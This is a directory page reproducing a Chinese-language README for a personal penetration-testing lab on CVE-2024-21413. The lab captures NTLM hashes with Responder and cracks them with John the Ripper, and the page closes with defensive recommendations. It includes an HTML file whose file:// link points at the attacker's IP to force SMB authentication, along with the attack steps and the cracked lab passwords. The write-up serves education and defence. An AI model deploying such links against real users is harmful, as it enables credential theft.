Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Moniker-Link-Lab-Setup — 演示 CVE-2024-21413 moniker 链接利用以窃取 NTLM 凭据的渗透测试实验室,涵盖攻击执行、哈希破解及防御对策。 | Kitploit
工具/GitHubGitHub/e-m-e-k-a/moniker-link-lab-setup
密码破解漏洞分析漏洞利用网络安全渗透测试社会工程学身份验证学习与教育实验室与实践
GitHube-m-e-k-a/moniker-link-lab-setup

Moniker-Link-Lab-Setup

演示 CVE-2024-21413 moniker 链接利用以窃取 NTLM 凭据的渗透测试实验室,涵盖攻击执行、哈希破解及防御对策。

2814天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

我的SOC分析师作品集的一部分(https://github.com/E-m-e-k-a/SOC-Analyst-Portfolio)

Moniker Link 实验环境搭建 - CVE-2024-21413

🎯 项目概述

动手实践的渗透测试实验环境,演示 CVE-2024-21413 moniker link 漏洞利用以窃取 NTLM 凭据。本项目记录了从环境搭建到凭据泄露的完整攻击链,包括真实环境中遇到的挑战及解决方案。

关键成果: 成功在隔离实验环境(Windows 10 虚拟机)和真实系统(Windows 11 电脑)上执行了 moniker link 攻击,展示了实际安全漏洞及防御对策。


🏗️ 实验架构

基础设施

攻击机:

  • 平台: Kali Linux 2024
  • 网络(仅主机模式): 192.168.56.101
  • 网络(桥接模式): 192.168.1.117
  • 主要工具: Responder 3.1.6.0

目标系统:

  • Windows 10 虚拟机: 192.168.56.104(隔离测试环境)
  • Windows 11 电脑: 192.168.1.178(真实环境验证)

网络配置:

  • VirtualBox 仅主机适配器(虚拟机测试)
  • VirtualBox 桥接适配器(真实电脑测试)
  • 与生产网络隔离

⚔️ 攻击执行

攻击流程

  1. 在 Kali 上部署 Responder 以监听 NTLM 认证
  2. 创建恶意链接 使用 file:// 协议指向攻击者 IP
  3. 触发认证 通过文件资源管理器 UNC 路径
  4. 捕获 NetNTLMv2 哈希 当受害者尝试连接时
  5. 破解密码 使用 John the Ripper

简单攻击向量

HTML 文件(test.html):

<!DOCTYPE html>
<html>
<body>
    <p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>

文件资源管理器方法:

  • 用户在地址栏输入:\\192.168.56.101\test
  • Windows 尝试 SMB 连接
  • NTLM 哈希自动发送(或提示输入凭据)
  • Responder 捕获认证信息

🚧 挑战与解决方案

挑战 1:Windows 防火墙拦截(Windows 11 电脑)

问题:

  • 无法从 Kali ping 通 Windows 11 电脑
  • SMB 连接尝试失败
  • 攻击完全被阻断

根本原因:

  • Windows 防火墙默认启用
  • 阻止来自外部 IP 的入站 SMB 连接

解决方案:

  • 测试时临时禁用 Windows 防火墙
  • 连接立即成功
  • 成功捕获哈希

经验教训: 默认的 Windows 防火墙对此攻击提供了有效防护。用户必须保持其启用状态。


挑战 2:John the Ripper 缓存结果(Windows 10 虚拟机)

问题:

  • 初始 Windows 10 密码:nwigwecj1
  • John 显示:12Honey(错误密码!)
  • 12Honey 来自之前的测试

根本原因:

  • John 将破解的密码保存在 ~/.john/john.pot
  • 来自之前会话的旧哈希
  • 显示的是缓存结果而非当前密码

解决方案:

  • 将 Windows 10 虚拟机密码改为 1414
  • 捕获新的哈希
  • 根据常见密码模式创建自定义字典
  • 使用新字典成功破解

经验教训: 始终确认你破解的是正确的哈希。清除 pot 文件或在测试中使用唯一密码。


挑战 3:密码不在 Rockyou.txt 中

问题:

  • 密码 1414 未在 rockyou.txt(1400 万个密码)中找到
  • 通用字典攻击失败

根本原因:

  • Rockyou.txt 不包含所有可能的 4 位数字组合
  • 简单的数字序列通常不在常见字典中

解决方案:

  • 根据常见模式创建针对性自定义字典:
  echo "1414" > passwords.txt
  echo "4141" >> passwords.txt
  • 使用自定义字典瞬间破解

经验教训: “不在 rockyou.txt 中” ≠ 安全。短密码无论是否在字典中,都容易受到针对性攻击和暴力破解。


📊 结果

Windows 10 虚拟机(受控环境)

指标结果
初始密码nwigwecj1
更改为1414
字典自定义(2 个条目)
破解时间<1 秒
防火墙测试时禁用
状态✅ 成功攻陷

Windows 11 电脑(真实系统)

指标结果
密码1414
防火墙初始被拦截,随后禁用
认证手动提示(输入了凭据)
破解时间瞬间
状态✅ 成功攻陷

🛡️ 安全分析

有效的防御措施

✅ Windows 防火墙 - 启用时完全阻止攻击 ✅ 现代浏览器 - Chrome/Edge 阻止远程 file:// 链接 ✅ 用户意识 - 手动提示需要用户操作

失效的方面(漏洞)

❌ 弱密码 - 4 位数字密码容易被破解 ❌ 禁用防火墙 - 常见的用户错误 ❌ 文件资源管理器 - 对 UNC 路径无警告 ❌ NTLM 协议 - 自动向 SMB 共享进行认证

关键发现

1. 防火墙至关重要

  • 默认 Windows 防火墙阻止此攻击
  • 约 30-40% 的用户永久禁用它
  • 企业网络通常允许内部 SMB

2. 密码强度的错觉

  • 1414 不在 rockyou.txt 中(看似“强”)
  • 使用针对性字典瞬间破解
  • 短密码提供零安全性

3. 需要用户交互

  • 现代安全要求用户粘贴 UNC 路径
  • 社会工程学仍是关键组成部分
  • 仅靠技术漏洞利用不够

🔧 使用的工具

攻击性工具:

  • Responder 3.1.6.0(NTLM 哈希捕获)
  • John the Ripper(密码破解)
  • 自定义字典创建
  • 简单的 HTML 文件

基础设施:

  • VirtualBox 7.0(虚拟化)
  • Kali Linux 2024(攻击平台)
  • Windows 10 Enterprise(测试目标)
  • Windows 11 Pro(真实环境验证)

📁 仓库结构

Moniker-Link-Lab-Setup/
├── README.md (this file)
├── Documentation/
│   ├── attack-execution.md (step-by-step attack guide)
│   └── README.md (documentation overview)
├── Screenshots/ (attack screenshots - to be added)
└── Scripts/ (HTML test file - to be added)

🎓 展示的技能

技术方面:

  • 网络协议分析(SMB、NTLM)
  • 渗透测试方法论
  • 密码破解技术
  • 虚拟实验基础设施
  • 防火墙故障排除

专业方面:

  • 技术文档编写
  • 约束条件下的问题解决
  • 安全评估
  • 风险分析
  • 道德测试实践

🔒 防御建议

针对用户

  • ✅ 保持 Windows 防火墙启用
  • ✅ 切勿粘贴来自电子邮件的 UNC 路径
  • ✅ 使用强密码(15 个字符以上)
  • ✅ 访问文件共享前验证发件人

针对组织

  • ✅ 在网络防火墙阻止出站 SMB(端口 445)
  • ✅ 禁用 NTLM,强制使用 Kerberos
  • ✅ 监控到外部 IP 的 SMB 连接
  • ✅ 邮件网关过滤(剥离 file:// 链接)
  • ✅ 安全意识培训
  • ✅ 密码复杂性策略

⚠️ 道德披露

所有测试均在授权系统上进行:

  • 仅限个人实验基础设施
  • 隔离的虚拟网络
  • 自有设备和账户
  • 教育目的

法律声明: 未经授权的计算机访问是非法的。本项目仅用于教育目的和授权测试环境。


📚 参考资料

  • CVE-2024-21413 - Microsoft 安全公告
  • MITRE ATT&CK - 强制认证 (T1187)
  • TryHackMe - Moniker Link 房间

📞 联系方式

LinkedIn: https://www.linkedin.com/in/chukwuemeka-nwigwe-624aa3292/ GitHub: @E-m-e-k-a

日期: 2026 年 3 月


📄 许可证

仅限教育用途。不得用于未经授权的测试。


⭐ 如果您觉得这个项目有帮助,请考虑为仓库加星!

下载工具